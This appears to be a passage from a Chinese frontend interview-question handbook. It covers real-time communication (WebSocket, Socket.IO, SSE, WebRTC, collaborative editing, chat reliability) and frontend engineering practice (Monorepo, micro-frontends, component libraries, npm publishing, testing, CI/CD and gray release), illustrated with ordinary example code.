原生 WebSocket：
ws.send(JSON.stringify({ type: 'chat', data: msg }));
ws.onmessage = e => { const { type, data } = JSON.parse(e.data); ... }

Socket.IO：
socket.emit('chat', msg, ackCallback);         // 事件 + ACK
socket.on('chat', (msg) => { ... });           // 直接监听事件名
socket.join('room-1');                         // 加入房间
socket.to('room-1').emit('chat', msg);         // 房间内广播

代价：
- 协议不兼容标准 WebSocket（服务端必须也是 Socket.IO）
- 包体积较大（60KB+ min）
- 需要额外的 sticky session 配置（多实例部署）

选型：
- 快速搭建、内部通信、房间功能多 → Socket.IO
- 与第三方标准 WebSocket 服务对接 → 原生 WebSocket
- 极致性能 / 二进制协议 → 原生 WebSocket + Protobuf

SSE (Server-Sent Events)

Q8: SSE 是什么？和 WebSocket 的区别？⭐⭐ 🔥

SSE：基于 HTTP 的服务器单向推送协议
- 客户端发起一次 HTTP 请求，服务端保持连接持续推送
- 协议：Content-Type: text/event-stream
- 单向：只能服务端 → 客户端

SSE vs WebSocket：

| 特性 | SSE | WebSocket |
|:--|:--|:--|
| 方向 | 单向（服务器推） | 双向 |
| 协议 | HTTP | 独立协议（Upgrade from HTTP）|
| 自动重连 | 浏览器内置 | 需自己实现 |
| 消息 ID/断点续传 | 内置（Last-Event-ID） | 需自己实现 |
| 二进制数据 | 不支持（Base64 转） | 支持 |
| 代理/防火墙穿透 | 好（就是 HTTP） | 可能被拦截 |
| 连接数限制 | HTTP/1.1 每域 6 个 | 无限制 |
| 浏览器支持 | 除 IE 全支持 | 全支持 |

适用场景：
- SSE：AI 流式响应（ChatGPT 打字机效果）、通知推送、日志流、股票行情
- WebSocket：聊天、协同编辑、多人游戏

// 前端使用
const es = new EventSource('/api/stream');

es.onopen = () => console.log('连接打开');
es.onmessage = (e) => {
  console.log('收到消息', e.data);
  // e.lastEventId 可用于断点续传
};
es.onerror = (e) => {
  // 浏览器会自动重连，一般不用手动处理
  console.log('错误', es.readyState);
};

// 监听自定义事件
es.addEventListener('user-message', (e) => {
  console.log(JSON.parse(e.data));
});

// 主动关闭
es.close();

// 服务端响应格式（Node.js Express 示例）
app.get('/api/stream', (req, res) => {
  res.writeHead(200, {
    'Content-Type': 'text/event-stream',
    'Cache-Control': 'no-cache',
    'Connection': 'keep-alive',
  });

  // 消息格式：event / data / id / retry
  res.write('event: message\n');
  res.write('data: hello\n\n');         // 两个换行结束一条消息

  // 定时推送
  const timer = setInterval(() => {
    res.write(`id: ${Date.now()}\n`);
    res.write(`data: ${JSON.stringify({ time: Date.now() })}\n\n`);
  }, 1000);

  req.on('close', () => clearInterval(timer));
});

// 局限：
// 1. 单域名 6 个连接（HTTP/1.1）→ HTTP/2 无此限制
// 2. 不支持自定义 header（认证要用 URL 参数或 Cookie）
// 3. 不支持二进制
// 4. IE 不支持

Q9: ChatGPT 打字机效果怎么实现？⭐⭐ 🔥

// 方案 A：SSE（推荐，最简单）
const es = new EventSource('/api/chat/stream?prompt=xxx');
es.onmessage = (e) => {
  if (e.data === '[DONE]') { es.close(); return; }
  const chunk = JSON.parse(e.data);
  output.value += chunk.content;   // 逐字追加
};

// 方案 B：fetch + ReadableStream（更灵活，可带 header）
async function streamChat(prompt, onChunk) {
  const res = await fetch('/api/chat', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${token}` },
    body: JSON.stringify({ prompt, stream: true }),
  });

  const reader = res.body.getReader();
  const decoder = new TextDecoder();
  let buffer = '';

  while (true) {
    const { done, value } = await reader.read();
    if (done) break;

    buffer += decoder.decode(value, { stream: true });
    // 按 SSE 协议解析（每条消息以 \n\n 分隔）
    const lines = buffer.split('\n\n');
    buffer = lines.pop();          // 保留不完整的最后一段

    for (const line of lines) {
      const data = line.match(/^data: (.*)$/m)?.[1];
      if (!data || data === '[DONE]') continue;
      const chunk = JSON.parse(data);
      onChunk(chunk.content);
    }
  }
}

// 使用
streamChat('讲个笑话', (text) => { output.value += text; });

// OpenAI 官方 SDK 就是这么做的：
// 用 fetch + stream，兼容自定义 header 和 POST 请求体

WebRTC

Q10: WebRTC 是什么？工作原理？⭐⭐⭐

WebRTC（Web Real-Time Communication）：
浏览器之间 P2P 实时通信，主要用于音视频、屏幕共享、大数据传输。

三大核心 API：
1. getUserMedia：获取摄像头/麦克风
2. RTCPeerConnection：P2P 连接管理
3. RTCDataChannel：P2P 数据传输

信令流程（需要中间服务器）：

      A                     Signaling Server              B
      │                            │                       │
      │─── 1. createOffer ────────>│                       │
      │                            │─── 2. offer ─────────>│
      │                            │                       │
      │                            │<── 3. answer ─────────│
      │<── 4. answer ──────────────│                       │
      │                            │                       │
      │─── 5. ICE candidate ──────>│─── ICE candidate ────>│
      │<── 6. ICE candidate ───────│<── ICE candidate ─────│
      │                            │                       │
      └──────────── P2P 连接建立（无需服务器） ────────────┘

关键概念：
- SDP（Session Description Protocol）：描述媒体能力
- ICE（Interactive Connectivity Establishment）：NAT 穿透
  - STUN 服务器：发现自己的公网 IP
  - TURN 服务器：NAT 打不通时中转
- DataChannel：基于 SCTP，可传输任意数据（文件、游戏状态）

WebRTC 优势：
- 直连（低延迟，200ms 内）
- 加密（DTLS-SRTP 强制）
- 节省服务器带宽（P2P 传输）

// 简化示例（获取本地流 + 建立连接）
const stream = await navigator.mediaDevices.getUserMedia({ video: true, audio: true });
video.srcObject = stream;

const pc = new RTCPeerConnection({
  iceServers: [{ urls: 'stun:stun.l.google.com:19302' }],
});

// 添加本地流
stream.getTracks().forEach(track => pc.addTrack(track, stream));

// 监听远端流
pc.ontrack = (e) => { remoteVideo.srcObject = e.streams[0]; };

// 创建 offer 并通过信令服务器发给对方
const offer = await pc.createOffer();
await pc.setLocalDescription(offer);
signalingServer.send({ type: 'offer', sdp: offer });

实战场景

Q11: 协同编辑（多人同时改一个文档）怎么实现？⭐⭐⭐

两大主流算法：

1. OT（Operational Transformation）
   - Google Docs 采用
   - 核心：将编辑操作抽象为 op（insert/delete/retain）
   - 冲突时通过 transform 函数转换 op，保证最终一致
   - 优点：成熟、性能好
   - 缺点：实现复杂，需要中央服务器协调

   例：
   文档 "abc"
   A 用户：insert(1, "X") → "aXbc"
   B 用户：insert(2, "Y") → "abYc"
   
   服务器收到 A 的 op 后转发给 B：
   B 需要 transform：insert(2, "Y") 变成 insert(3, "Y")
   最终双方都得到 "aXbYc"

2. CRDT（Conflict-free Replicated Data Type）
   - Figma、Notion、Yjs 采用
   - 核心：数据结构本身保证任意顺序合并都一致
   - 优点：无需中央协调，可离线编辑
   - 缺点：内存占用大（保留历史元数据）

   常见 CRDT 库：Yjs、Automerge、Diamond Types

前端实现（基于 Yjs）：

import * as Y from 'yjs';
import { WebsocketProvider } from 'y-websocket';
import { MonacoBinding } from 'y-monaco';

// 1. 创建共享文档
const ydoc = new Y.Doc();
const ytext = ydoc.getText('monaco');

// 2. WebSocket 同步
const provider = new WebsocketProvider('wss://yjs.example.com', 'room-id', ydoc);

// 3. 绑定到编辑器（Monaco / CodeMirror / ProseMirror / Slate）
const editor = monaco.editor.create(container, { value: ytext.toString() });
new MonacoBinding(ytext, editor.getModel(), new Set([editor]), provider.awareness);

// awareness 提供在线状态、光标位置
provider.awareness.setLocalStateField('user', { name: 'Tom', color: '#f00' });

// 现成方案：
// - 文档：语雀、飞书文档（自研 OT）
// - 白板：tldraw、Excalidraw（CRDT）
// - 代码：CodeSandbox、StackBlitz（Yjs + Monaco）
// - 设计：Figma（自研 CRDT-like 方案）

Q12: 直播间弹幕/聊天室怎么设计？⭐⭐⭐

架构：

用户浏览器 ←WebSocket→ 网关层 ←→ 消息服务 ←Redis Pub/Sub→ 房间管理
                                    ↓
                                  存储（MongoDB / Kafka → 数仓）

关键设计点：

1. 房间模型
   - 每个直播间是一个 room，用户加入即订阅
   - Socket.IO：socket.join('room-123')
   - 广播：io.to('room-123').emit('danmu', msg)

2. 消息扩散策略
   - 小房间（<1000 人）：直接广播
   - 大房间（万人级）：分级扩散
     * 网关层缓存最新 N 条，新用户进来先推历史
     * 消息按用户 ID hash 分片，多机并行推送

3. 消息限流
   - 单用户发言频率限制（Redis 计数 + 滑动窗口）
   - 房间总消息 QPS 限制，超过丢弃或合并

4. 消息优先级
   - 系统公告 > 付费弹幕 > 普通弹幕
   - 高优先级消息不走限流

5. 消息展示优化
   - 前端渲染节流：合并 100ms 内的多条消息一次性插入 DOM
   - 弹幕轨道管理：避免重叠，计算可用轨道
   - 虚拟列表：只渲染可视区域弹幕

6. 掉线与重连
   - 前端重连后带 last_msg_id，服务端补发
   - 长时间掉线（>5min）只推最新消息，不补历史

7. 数据规模
   - 单房间消息数：万级/分钟
   - 存储：Kafka 缓冲 → MongoDB 分片存储
   - 冷热分离：7 天内热数据 Redis，历史归档

前端要点：
- 弹幕用 requestAnimationFrame 控制动画（transform 走 GPU）
- Canvas 绘制（>1000 弹幕时性能远好于 DOM）
- 敏感词过滤（前端本地 DFA 算法 + 后端二次校验）

Q13: 聊天消息的可靠性投递怎么保证？⭐⭐⭐

IM 系统三大难题：不丢、不重、有序

1. 不丢消息
   客户端发送 → 服务端 ACK → 客户端标记已送达
   ┌──────┐        ┌──────┐        ┌──────┐
   │  A   │──send─>│Server│──push─>│  B   │
   │      │<──ACK──│      │<──ACK──│      │
   └──────┘        └──────┘        └──────┘
   
   - A 未收到 ACK：本地重发（相同 msg_id）
   - Server 未收到 B 的 ACK：写入离线队列，B 上线后拉取
   - 消息持久化：先落库再推送（防止服务端崩溃丢消息）

2. 不重复
   - 每条消息生成全局唯一 msg_id（雪花算法/UUID）
   - 服务端根据 msg_id 去重（Redis Set，TTL 24h）
   - 客户端本地缓存已收 msg_id，重复的丢弃

3. 有序
   - 服务端为每个会话生成递增 seq
   - 客户端按 seq 排序展示
   - 断线重连时带 last_seq，服务端补发 seq > last_seq 的消息

4. 已读回执
   - B 打开会话时上报 read_seq
   - 服务端将 read_seq 推送给 A，A 展示"已读"

5. 离线消息
   - 用户离线时消息写入 inbox（Redis List / MongoDB）
   - 用户上线时按 seq 拉取（分页）
   - 拉取完成后清空 inbox

6. 消息漫游
   - 多端同步：手机端发的消息，Web 端也要看到
   - 每个用户维护一份消息索引（不只是每个会话）

复习卡片

[!TIP] 快速复习清单

通信选型：单向推送 SSE / 双向 WebSocket / P2P WebRTC / 兜底长轮询

WebSocket 握手：HTTP Upgrade + Sec-WebSocket-Key/Accept（SHA1 + GUID）

心跳重连：30s ping/pong + 超时主动关闭 + 指数退避重连 + online 事件

消息协议：type + id + seq + data，ACK 机制 + 去重 + 断线补发

Nginx 代理：proxy_http_version 1.1 + Upgrade/Connection 头 + ip_hash

Socket.IO：房间 + 广播 + ACK + 自动降级，但非标准协议

SSE 优势：HTTP 穿透好 + 浏览器自动重连 + Last-Event-ID 续传

打字机效果：SSE 或 fetch + ReadableStream（POST + header 用后者）

WebRTC：SDP + ICE + STUN/TURN，P2P 低延迟音视频

协同编辑：OT（Google Docs）vs CRDT（Yjs/Figma），后者可离线

弹幕设计：房间模型 + 分级扩散 + Canvas 渲染 + 限流

IM 可靠性：ACK + msg_id 去重 + seq 排序 + 离线消息 + 已读回执

[!TIP] 下一篇：系统设计场景题涵盖大文件上传、权限系统、埋点系统、富文本编辑器、前端安全、灰度发布、低代码平台等高级岗必考的架构设计题。

返回面试宝典总览 | 面试宝典合集页

前端工程化实践面试题（Monorepo/微前端/组件库）

Wed, 16 Sep 2026 11:00:00 GMT

[!NOTE] 本文包含 20+ 道前端工程化实践面试题，覆盖从代码组织到发布的完整工程链路，中高级岗位重点考察项。难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考

Monorepo 与代码组织

Q1: Monorepo vs Multirepo 怎么选？⭐⭐ 🔥

答：

维度	Monorepo（单一仓库）	Multirepo（多仓库）
代码可见性	全量可见，易于重构	需要跨仓库同步
依赖管理	统一版本，避免"依赖地狱"	各自维护
CI 构建	需增量构建，否则慢	独立构建，快
权限控制	粗粒度	细粒度
团队协作	打破团队边界	按仓库隔离
代码复用	天然复用（workspace 包）	需发 npm
仓库体积	会随时间变大	每个仓库小

Monorepo 典型结构（pnpm workspace）：

my-app/
├── apps/
│   ├── web/              # 主站
│   ├── admin/            # 后台
│   ├── mobile/           # H5
│   └── docs/             # 文档站
├── packages/
│   ├── ui/               # 组件库（内部包）
│   ├── utils/            # 工具函数
│   ├── hooks/            # 自定义 hooks
│   ├── request/          # axios 封装
│   ├── config-eslint/    # 共享配置
│   └── config-tsconfig/  # 共享 ts 配置
├── pnpm-workspace.yaml
├── turbo.json            # 增量构建配置
└── package.json

选择建议：

多产品线共享组件/工具/规范 → Monorepo
团队分散、技术栈差异大、代码需强隔离 → Multirepo
中小项目 → 单仓库足够，别过度设计

Q2: pnpm workspace、Turborepo、Nx、Lerna 的区别？⭐⭐⭐

pnpm workspace：包管理器级别
- 通过 pnpm-workspace.yaml 定义工作区
- 硬链接 + 符号链接：磁盘占用小、安装快
- 严格 node_modules 结构，避免"幽灵依赖"
- 只解决依赖，不解决构建编排

Turborepo：任务编排
- 基于 turbo.json 声明依赖关系
- 增量构建：只构建变更包及其下游
- 远程缓存：CI 缓存产物，跨机器复用
- Vercel 出品，配置简单，性能好

Nx：全功能构建系统
- 依赖图分析、任务编排、代码生成器
- 插件生态（React/Vue/Node/NestJS）
- 分布式任务执行
- 学习成本高，适合大型企业

Lerna：老牌工具
- v6 后由 Nx 团队维护
- 主要用于版本管理和发布（changed/publish）
- 构建能力已被 Turborepo/Nx 替代

// turbo.json 示例
{
  "pipeline": {
    "build": {
      "dependsOn": ["^build"],        // 依赖上游包先构建
      "outputs": ["dist/**"]          // 缓存产物
    },
    "test": { "dependsOn": ["build"] },
    "lint": {},
    "dev": { "cache": false, "persistent": true }
  }
}

# 常用命令
turbo run build                # 构建所有包
turbo run build --filter=web   # 只构建 web 及其依赖
turbo run test --filter=@app/ui^...  # 只测试 ui 的下游

Q3: pnpm 为什么比 npm/yarn 快？⭐⭐

npm/yarn 的问题：
1. 每个项目独立 node_modules，重复占用磁盘
2. 扁平化 node_modules，产生"幽灵依赖"
   （间接依赖可以被 require，但没在 package.json 声明）

pnpm 的解决方案：

1. 全局硬链接（Hard Link）
   ~/.pnpm-store/v3/files/  →  project/node_modules/.pnpm/
   同一版本包在全局只存一份，磁盘节省 60%+

2. 严格的三层 node_modules 结构
   node_modules/
   ├── .pnpm/           ← 真实存放（软链到全局 store）
   │   ├── lodash@4.17.21/
   │   └── ...
   └── lodash -> .pnpm/lodash@4.17.21/node_modules/lodash
   ↑ 只有 package.json 里声明的依赖才在顶层出现

3. 内容寻址存储：相同文件只存一份
4. 并行安装：比 yarn v1 快 2-3 倍

带来的收益：
- 安装速度：npm ci 60s → pnpm i 15s（真实项目数据）
- 磁盘：monorepo 里 10 个 app 共享依赖，节省 90%
- 安全：幽灵依赖被杜绝，重构时更可靠

微前端

Q4: 微前端解决什么问题？常见方案对比？⭐⭐⭐ 🔥

答：

核心场景：

巨型应用（几百万行代码）拆分维护
多团队独立开发部署（组织架构映射）
遗留系统渐进式重构（老 jQuery + 新 Vue/React）
技术栈异构（不同产品线用不同框架）

主流方案对比：

方案	隔离	通信	上手成本	适用场景
qiankun	JS 沙箱 + Shadow DOM	全局状态	中	最主流，社区大
Module Federation	无（模块级）	共享依赖	低	Webpack 5+，模块共享
single-spa	无	props	中	路由级切换
micro-app（京东）	类 WebComponent	自定义	低	无侵入
无界 wujie（腾讯）	iframe + WebComponent	props	低	隔离最强
iframe	天然隔离	postMessage	低	简单场景，体验差

qiankun 核心原理：

// 主应用注册子应用
import { registerMicroApps, start } from 'qiankun';
registerMicroApps([
  {
    name: 'sub-vue',
    entry: '//localhost:8081',
    container: '#subapp',
    activeRule: '/vue',
    props: { token: getToken },
  },
]);
start({ sandbox: { experimentalStyleIsolation: true } });

// 子应用导出生命周期（webpack 配置 library）
export async function bootstrap() { /* 应用首次加载 */ }
export async function mount(props) {
  createApp(App).mount(props.container.querySelector('#app'));
}
export async function unmount() { app.unmount(); }

// 三大关键机制：
// 1. HTML Entry：直接加载子应用 HTML，解析 script/link（比 JS Entry 灵活）
// 2. JS 沙箱：Proxy 拦截 window，子应用修改不污染主应用
// 3. 样式隔离：Shadow DOM / scoped（选择器加前缀）/ dynamic stylesheet

Module Federation（模块联邦）：

// webpack.config.js（生产者）
new ModuleFederationPlugin({
  name: 'app_remote',
  filename: 'remoteEntry.js',
  exposes: { './Button': './src/Button' },
  shared: ['react', 'react-dom'],   // 共享依赖，避免重复加载
});

// 消费者
new ModuleFederationPlugin({
  name: 'app_host',
  remotes: { app_remote: 'app_remote@http://x.com/remoteEntry.js' },
  shared: ['react', 'react-dom'],
});

// 使用（像本地组件一样）
const Button = React.lazy(() => import('app_remote/Button'));

选型建议：

已有大型 SPA、需要拆分独立部署 → qiankun
Webpack 5+、需要模块级共享 → Module Federation
追求强隔离、可接受 iframe 局限 → 无界
简单页面级切换、老系统改造 → single-spa / iframe

Q5: 微前端的坑有哪些？⭐⭐⭐

1. 样式冲突
   - qiankun 用 scoped 加前缀，但全局样式（body、html）改不了
   - 解决：约定 BEM 命名 / CSS Module / Shadow DOM

2. JS 沙箱逃逸
   - 定时器、事件监听、全局变量在卸载时要主动清理
   - 解决：子应用 mount/unmount 严格管理生命周期

3. 路由冲突
   - 主子应用都有路由，history/popstate 会互相干扰
   - 解决：子应用 basename 隔离，主应用做前缀分发

4. 共享依赖版本不一致
   - React 17 主应用 + React 18 子应用共存问题
   - 解决：约定版本 / Module Federation shared 强制单例

5. 通信复杂度
   - 跨应用状态同步容易失控
   - 解决：qiankun initGlobalState / CustomEvent / URL 参数

6. 首屏性能
   - 加载主应用 + 子应用资源，白屏时间增加
   - 解决：预加载（prefetchApps）、子应用 CDN 缓存

7. 开发调试困难
   - 本地要同时起主应用和多个子应用
   - 解决：独立运行模式（子应用可脱离主应用启动）

组件库设计

Q6: 从零设计一个组件库要考虑什么？⭐⭐⭐ 🔥

完整链路：
需求分析 → 技术选型 → 目录结构 → 组件设计 → 构建打包 →
文档站 → 单元测试 → 发版流程 → 版本管理 → 迁移方案

1. 技术选型
   - 框架：Vue / React / Web Components（跨框架）
   - 样式：Sass / Less / CSS-in-JS / Tailwind / 原子化
   - 主题：CSS 变量（推荐，运行时切换）/ Sass 变量（构建时）
   - 构建：Vite（开发）+ Rollup（打包）+ Vite lib mode

2. 目录结构
components/
├── packages/
│   ├── button/
│   │   ├── src/Button.vue
│   │   ├── __tests__/Button.spec.ts
│   │   ├── index.ts               # 导出
│   │   └── style/
│   │       ├── index.ts           # 样式入口
│   │       └── button.scss
│   ├── theme-chalk/               # 全局样式变量
│   └── utils/                     # 内部工具
├── docs/                          # 文档站（VitePress）
├── scripts/                       # 构建脚本
└── package.json

3. 组件设计原则
   - 单一职责：一个组件只做一件事
   - Props 语义清晰：不用 v1、v2 这种命名
   - 支持插槽（slot/children）扩展
   - 支持 ref 转发（React）/ defineExpose（Vue）
   - 无障碍（ARIA 属性、键盘导航）
   - 主题变量暴露（--btn-primary-color）

4. 构建产物（三种格式）
   - ESM：dist/es/xxx.js（现代打包器）
   - CJS：dist/lib/xxx.js（Node/webpack 老项目）
   - UMD：dist/index.js（script 标签直接用）
   - 类型声明：dist/types/*.d.ts

5. 按需引入（关键！）
   - 组件独立打包，用户只 import 用到的
   - package.json 配置 sideEffects: false
   - 提供 unplugin-vue-components 自动导入插件

// package.json 关键字段
{
  "name": "@myorg/ui",
  "version": "1.2.0",
  "main": "dist/lib/index.js",
  "module": "dist/es/index.js",
  "types": "dist/types/index.d.ts",
  "exports": {
    ".": { "import": "./dist/es/index.js", "require": "./dist/lib/index.js" },
    "./dist/style.css": "./dist/style.css",
    "./es/*": "./es/*",
    "./lib/*": "./lib/*"
  },
  "sideEffects": ["dist/*", "es/*/style/*", "lib/*/style/*"],
  "files": ["dist", "es", "lib", "README.md"]
}

Q7: 组件库如何做主题定制？⭐⭐⭐

方案 1：CSS 变量（推荐，运行时切换）
:root {
  --btn-primary-bg: #409eff;
  --btn-primary-color: #fff;
}
.btn-primary {
  background: var(--btn-primary-bg);
  color: var(--btn-primary-color);
}
// 用户覆盖：修改 :root 变量即可，无需重新构建
// 暗色主题：[data-theme="dark"] { --btn-primary-bg: #333; }

方案 2：Sass 变量（构建时，性能最好）
// 用户在自己的项目里覆盖 $--color-primary 再引入
$--color-primary: red;
@import "@myorg/ui/theme/index.scss";

方案 3：CSS-in-JS（运行时，最灵活但性能最差）
// styled-components / emotion / vanilla-extract
const Button = styled.button`
  background: ${props => props.theme.primary};
`;

方案 4：设计 Token（大厂方案）
// design-tokens.json → 编译出 CSS 变量 / Sass / JS
// 好处：一份 Token 多端复用（Web / 小程序 / iOS / Android）

实践建议：
- 组件库默认 CSS 变量方案（用户改起来最方便）
- 内部使用 Sass 变量做构建时优化
- 关键 Token 命名规范化（color / spacing / radius / shadow / z-index）
- 提供在线主题编辑器（Element Plus Theme）

npm 发包与版本管理

Q8: npm 发包完整流程？⭐⭐ 🔥

# 1. 初始化包
npm init --scope=@myorg    # scoped 包，组织名下

# 2. 关键字段配置（package.json）
# name / version / main / module / types / files / repository

# 3. 登录（首次）
npm login
# 私有仓库：npm login --registry=https://npm.mycompany.com

# 4. 版本号管理（SemVer）
npm version patch    # 1.0.0 → 1.0.1（bug 修复）
npm version minor    # 1.0.0 → 1.1.0（向后兼容的新功能）
npm version major    # 1.0.0 → 2.0.0（破坏性变更）
npm version prerelease --preid=beta  # 1.0.0 → 1.0.1-beta.0

# 5. 发布
npm publish                       # 正式版
npm publish --tag beta            # 测试版（用户 npm i pkg@beta 才装）
npm publish --access public       # scoped 包默认 private，加此参数改公开

# 6. 版本回退（24h 内）
npm unpublish pkg@1.0.0 --force
# 更好的方式：发布修复版 1.0.1，或用 npm deprecate 警告
npm deprecate pkg@1.0.0 "critical bug, use 1.0.1"

Changesets（现代版本管理，Monorepo 首选）：

# 1. 初始化
pnpm add -Dw @changesets/cli && pnpm changeset init

# 2. 开发完一个功能，生成变更集
pnpm changeset
# 交互式选择：哪些包变更 + patch/minor/major + 变更说明
# 会在 .changeset/ 目录生成一个 md 文件

# 3. 版本升级
pnpm changeset version
# 消费 .changeset 里的变更，自动更新各包版本号 + CHANGELOG

# 4. 发布
pnpm changeset publish

# 优势：
# - 变更集是"意图"，版本升级是"结果"，解耦
# - Monorepo 里自动处理包间依赖版本联动
# - 自动生成 CHANGELOG
# - CI 集成友好（GitHub Actions 自动发版）

Q9: package.json 中 main、module、exports、types 的区别？⭐⭐

{
  "main": "dist/index.cjs.js",       // CJS 入口（老 webpack/node require）
  "module": "dist/index.esm.js",     // ESM 入口（webpack/rollup 优先，可 Tree Shaking）
  "types": "dist/index.d.ts",        // TypeScript 类型入口
  "browser": "dist/index.browser.js",// 浏览器专用（避免 node polyfill）
  "unpkg": "dist/index.umd.js",      // CDN script 标签直接用
  "exports": {                        // Node 12.7+ 现代入口（优先级最高）
    ".": {
      "types": "./dist/index.d.ts",
      "import": "./dist/index.mjs",
      "require": "./dist/index.cjs",
      "default": "./dist/index.mjs"
    },
    "./utils": "./dist/utils/index.mjs",   // 子路径导出
    "./style.css": "./dist/style.css",
    "./package.json": "./package.json"
  },
  "sideEffects": false                // 无副作用，可安全 Tree Shaking
}

// exports 的优势：
// 1. 明确公开哪些路径（其他路径 import 会报错，防止用户依赖内部实现）
// 2. 支持条件导出（node/browser/import/require/types）
// 3. 更好的封装性

代码质量与规范

Q10: 完整的代码质量工具链？⭐⭐ 🔥

提交前拦截链路：

编辑器 → ESLint（保存时自动 fix）
       ↓
git add
       ↓
husky（Git Hooks）
  ├── pre-commit → lint-staged → ESLint + Prettier（只处理暂存文件）
  ├── commit-msg → commitlint（校验提交信息规范）
  └── pre-push → 单元测试（vitest run）
       ↓
CI 流水线
  ├── 全量 lint
  ├── 全量测试 + 覆盖率
  ├── 构建产物
  └── 部署

工具职责：
- ESLint：代码质量（潜在 bug、最佳实践）
- Prettier：代码格式（换行、缩进、引号）
- Stylelint：CSS/SCSS 规范
- commitlint：提交信息规范
- husky：管理 Git Hooks
- lint-staged：只对暂存文件跑 lint（快）
- Biome：Rust 实现，一个工具替代 ESLint + Prettier（新兴）

// lint-staged 配置（package.json）
"lint-staged": {
  "*.{js,jsx,ts,tsx}": ["eslint --fix", "prettier --write"],
  "*.{css,scss,vue}": ["stylelint --fix", "prettier --write"],
  "*.{md,json}": ["prettier --write"]
}

// Conventional Commits 规范
// feat:     新功能
// fix:      bug 修复
// docs:     文档变更
// style:    代码格式（不影响逻辑）
// refactor: 重构
// perf:     性能优化
// test:     测试
// build:    构建/依赖
// ci:       CI 配置
// chore:    其他杂项
// revert:   回滚

// 例：feat(button): 新增 loading 状态支持
// fix(utils): 修复 formatDate 时区问题 #123

测试

Q11: 前端测试金字塔？各层职责？⭐⭐ 🔥

        /\
       /  \  E2E（10%）
      /----\   真实浏览器跑完整用户流程
     /      \  Playwright / Cypress
    /--------\
   /   集成    \  集成测试（20%）
  /    测试     \  多组件协作、组件 + 状态管理
 /--------------\  Testing Library + MSW
/   单元测试      \  单元测试（70%）
/  （最多、最快）   \  纯函数、hooks、组件独立行为
--------------------  Vitest / Jest

原则：越靠下越多、越快、越便宜；越靠上越少、越慢、越贵。
反模式：冰淇淋筒（E2E 特别多，跑得慢，维护成本高）

// Vitest 单元测试示例（Vue 组件）
import { describe, it, expect } from 'vitest';
import { mount } from '@vue/test-utils';
import Button from './Button.vue';

describe('Button', () => {
  it('渲染默认文本', () => {
    const wrapper = mount(Button);
    expect(wrapper.text()).toContain('按钮');
  });

  it('点击触发 click 事件', async () => {
    const wrapper = mount(Button);
    await wrapper.trigger('click');
    expect(wrapper.emitted('click')).toHaveLength(1);
  });

  it('disabled 时不响应点击', async () => {
    const wrapper = mount(Button, { props: { disabled: true } });
    await wrapper.trigger('click');
    expect(wrapper.emitted('click')).toBeUndefined();
  });
});

// Testing Library 核心理念：
// 从用户视角测试（找 role/text/label），不测实现细节
// 好处：重构不破坏测试，测试即文档

Q12: Playwright/Cypress 如何选型？E2E 测试的关键点？⭐⭐⭐

Playwright（微软）：
- 支持 Chromium / Firefox / WebKit 三大内核
- 多语言（JS/TS/Python/Java/.NET）
- 内置自动等待、trace viewer（回放调试）
- 并行执行、跨浏览器测试
- 支持移动端模拟

Cypress：
- 只支持 Chromium 系（近年也支持 Firefox/WebKit 实验）
- 时间旅行调试、快照
- 生态成熟、社区大
- 运行在浏览器内，某些场景受限（多标签页、iframe）

选型建议：
- 新项目 → Playwright（更现代、更快、功能全）
- 已有 Cypress 项目 → 继续用
- 需要跨浏览器测试 → Playwright

// Playwright 示例
import { test, expect } from '@playwright/test';

test('用户登录流程', async ({ page }) => {
  await page.goto('/login');
  await page.fill('[data-testid=username]', 'tom');
  await page.fill('[data-testid=password]', '123456');
  await page.click('button[type=submit]');
  await expect(page).toHaveURL('/dashboard');
  await expect(page.locator('.welcome')).toContainText('Tom');
});

// 关键实践：
// 1. 用 data-testid 而非 CSS 选择器（不受样式重构影响）
// 2. 网络拦截 mock 后端（page.route）
// 3. 只测关键用户流程（登录、下单、支付），别贪多
// 4. 测试数据独立，每次前后清理
// 5. CI 上并行执行，本地失败自动截图 + trace

CI/CD 与发布

Q13: 前端 CI/CD 流水线怎么设计？⭐⭐ 🔥

分支策略（Trunk-Based Development 主流）：

main（生产）
  ↑ merge / PR
develop / feature/*
  ↑ commit

流水线阶段：

1. PR 阶段（自动）
   ├─ 依赖安装（利用 pnpm store 缓存）
   ├─ 类型检查（tsc --noEmit / vue-tsc）
   ├─ Lint（eslint + prettier --check）
   ├─ 单元测试（vitest run --coverage）
   ├─ 构建（vite build）
   ├─ 产物大小检查（bundlesize / size-limit）
   └─ Preview 部署（Vercel/Netlify 预览环境）

2. Merge 到 main（自动）
   ├─ 完整测试（含 E2E）
   ├─ 构建生产包
   ├─ 上传产物到 OSS / 镜像仓库
   ├─ 部署测试环境（自动）
   └─ 通知（企微/钉钉机器人）

3. 发版到生产（手动审批 or 打 tag 触发）
   ├─ 灰度发布（先 1% → 10% → 50% → 100%）
   ├─ CDN 刷新
   ├─ 健康检查（自动化冒烟测试）
   └─ 失败自动回滚（保留上一版本产物）

关键工具：
- GitHub Actions / GitLab CI / Jenkins
- 缓存：actions/cache 缓存 node_modules、pnpm store
- 制品仓库：Nexus / Verdaccio（私有 npm）
- 部署：Docker + K8s / 静态托管（OSS + CDN）/ Vercel

# .github/workflows/ci.yml 示例
name: CI
on: [push, pull_request]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: pnpm/action-setup@v3
        with: { version: 9 }
      - uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: pnpm
      - run: pnpm install --frozen-lockfile
      - run: pnpm lint
      - run: pnpm typecheck
      - run: pnpm test --coverage
      - run: pnpm build
      - uses: actions/upload-artifact@v4
        with: { name: dist, path: dist }

Q14: 灰度发布怎么做？⭐⭐⭐

灰度维度：
1. 用户维度：白名单 → 内测用户 → 部分用户 → 全量
2. 流量维度：1% → 10% → 50% → 100%
3. 地域维度：某城市 → 某区域 → 全国
4. 设备维度：某型号 → 某系统版本

实现方案：

方案 A：Nginx 层灰度（简单）
upstream backend {
  server new-version weight=1;   # 新版本 10%
  server old-version weight=9;   # 老版本 90%
}

方案 B：CDN + 版本目录
dist/
├── v1.0.0/index.html
├── v1.1.0/index.html
└── latest/ -> 软链切换
灰度逻辑：根据用户 ID hash 决定加载哪个版本

方案 C：客户端配置中心
- 前端启动时拉取灰度配置
- 后端根据用户特征返回是否命中新版本
- 命中则加载新 JS bundle，否则加载旧版

方案 D：特性开关（Feature Flag）
